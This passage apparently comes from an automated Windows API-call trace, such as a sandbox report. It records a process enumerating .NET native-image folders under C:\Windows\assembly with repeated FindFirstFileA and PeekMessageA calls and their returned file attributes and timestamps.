ftLastWriteTime.dwLowDateTime=0x8a4f890, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.463] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Acti31fd6628#\\8db4f8aeb6d79278c3a99777c3966be6\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a4f890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8a4f890, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8a4f890, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.466] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.469] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.472] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Actif3565cbd#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacad630, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xacad630, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xacad630, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.474] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Actif3565cbd#\\2096f77aa2e26bac9b94864f3d38c6d7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacad630, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xacad630, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xacad630, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.476] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.478] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.479] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Activities\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b6ef10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7b6ef10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7b6ef10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.480] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Activities\\d8b4c694accc840eeaf3dd6f66fa3e1a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b6ef10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x7b6ef10, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x7b6ef10, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.481] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.485] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.485] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.AddI3d71a354#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc42ef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xc42ef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xc42ef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.486] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.AddI3d71a354#\\583adb5be4d0f616f4f5f138ff3c4c89\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc42ef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xc42ef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xc42ef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.489] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.491] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.492] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.AddIn\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3392b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb3392b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb3392b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.494] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.AddIn\\23f5b2f3416126f4f8e4da490785020c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3392b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb35f410, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb35f410, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.494] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.498] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.498] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Comp46f2b404#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20e4ab00, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb22b0960, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb22b0960, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.500] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Comp46f2b404#\\5cf46282ab0134bde4d77e6deaad7f11\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaff48220, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xaff48220, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xaff48220, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.503] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.505] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.505] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Comp7dda8007#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc74ec50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xc74ec50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xc74ec50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.506] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Comp7dda8007#\\c62a9edab7d0d396836cdc8487e45bac\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc74ec50, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xc74ec50, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xc74ec50, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.508] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.511] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.511] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Compba577418#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15cce2a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1b1a340, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1b1a340, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.513] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Compba577418#\\52651d0f7e6ed02937fb1d37864b60bc\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa94042c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa94042c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa94042c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.516] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.518] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.519] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Confe64a9051#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15e711c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1d557e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1d557e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.520] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Confe64a9051#\\ce3758c8ab106755a5f2db634d45d22d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa55ae2a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa55d4400, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa55d4400, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.522] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.524] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.525] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9064160, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb2453880, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb2453880, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.526] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\766a572f745b54553bd34406293b4f78\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1d71ae0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa1d71ae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa1d71ae0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.527] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.531] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.532] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6376220, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb228a800, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb228a800, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.534] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d713080, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x9d713080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x9d713080, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.536] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.540] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.540] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c07bbe0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb21cc120, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb21cc120, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.542] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data\\9b88ea7b312bcfe8fc18071e61d3bc2b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaababd60, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xaabd1ec0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xaabd1ec0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.543] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.547] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.548] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data.Entity\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11c67ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11c67ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x11c67ed0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.549] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data.Entity\\4ab6618af01027921e5254116aa502c4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11c67ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x11c8e030, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x11c8e030, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.551] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.555] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.555] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data.Linq\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ca99960, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb1442400, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb1442400, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.556] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data.Linq\\9d8d109c0f7397edb1a75602159e00f4\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4eb0200, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa4eb0200, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa4eb0200, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.561] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.567] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.568] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data.Services\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x138862b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x138862b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x138862b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.584] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data.Services\\a7138264a4b571e9fcf90ef64cc1247b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x138862b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x138862b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x138862b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.656] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.691] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.692] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data.SqlXml\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb62dea0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xb23e1460, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xb23e1460, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0113.717] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data.SqlXml\\93fd3b7ae916b85c96b7031dcf13b3eb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3fa9720, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0xa3fa9720, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xa3fa9720, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0113.719] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.723] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0113.724] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data14bed3a9#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e40f410, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x1e40f410, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x1e40f410, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", 